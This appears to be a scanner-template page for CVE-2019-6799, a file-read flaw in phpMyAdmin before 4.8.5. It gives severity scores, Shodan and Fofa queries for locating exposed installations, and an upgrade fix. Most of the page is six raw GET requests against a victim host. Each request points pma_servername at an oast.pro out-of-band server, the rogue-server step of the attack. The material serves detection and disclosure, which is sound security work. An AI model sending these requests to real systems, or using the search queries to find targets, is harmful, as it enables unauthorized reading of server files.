| Title | phpMyAdmin <4.8.5 - Local File Inclusion |
|---|---|
| Author | pwnhxl |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files. |
| Remediation | Upgrade phpMyAdmin to version 4.8.5 or later to mitigate this vulnerability. |
| CVSS Score | 5.9 |
| EPSS Score | 0.72448 |
| CVE ID | CVE-2019-6799 |
| Shodan Query | title:"phpmyadmin"http.title:"phpmyadmin"http.component:"phpmyadmin"cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin" |
| Fofa Query | body="pma_servername" && body="4.8.4"title="phpmyadmin" |
| Tags | cve cve2019 phpmyadmin mysql lfr intrusive sqli vuln |
phpMyAdmin before 4.8.5 is susceptible to local file inclusion. When the AllowArbitraryServer configuration setting is set to true, an attacker can read, with the use of a rogue MySQL server, any file on the server that the web server’s user can access. This is related to the mysql.allow_local_infile PHP configuration, and the inadvertent ignoring of options(MYSQLI_OPT_LOCAL_INFIL calls.
GET /index.php?pma_servername=d5jpighle0o3hm1n0d10quznm8xghhr4h.oast.pro&pma_username=38FZ8mkSthlDCAmqXDZS9QNfzQK&pma_password=38FZ8mkSthlDCAmqXDZS9QNfzQK&server=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close
GET /_phpmyadmin/index.php?pma_servername=d5jpighle0o3hm1n0d10c4jf4hqd8t6ym.oast.pro&pma_username=38FZ8mkSthlDCAmqXDZS9QNfzQK&pma_password=38FZ8mkSthlDCAmqXDZS9QNfzQK&server=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
GET /phpmyadmin/index.php?pma_servername=d5jpighle0o3hm1n0d105ijtrzshxnn1h.oast.pro&pma_username=38FZ8mkSthlDCAmqXDZS9QNfzQK&pma_password=38FZ8mkSthlDCAmqXDZS9QNfzQK&server=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close
GET /phpMyAdmin/index.php?pma_servername=d5jpighle0o3hm1n0d10h9cifh8zm1q1q.oast.pro&pma_username=38FZ8mkSthlDCAmqXDZS9QNfzQK&pma_password=38FZ8mkSthlDCAmqXDZS9QNfzQK&server=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close
GET /pma/index.php?pma_servername=d5jpighle0o3hm1n0d10bfstroekrax6i.oast.pro&pma_username=38FZ8mkSthlDCAmqXDZS9QNfzQK&pma_password=38FZ8mkSthlDCAmqXDZS9QNfzQK&server=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Accept-Encoding: gzip
Connection: close
GET /pmd/index.php?pma_servername=d5jpighle0o3hm1n0d1013sgtaopxe3qd.oast.pro&pma_username=38FZ8mkSthlDCAmqXDZS9QNfzQK&pma_password=38FZ8mkSthlDCAmqXDZS9QNfzQK&server=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6799.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-6799.pcap
N/AN/A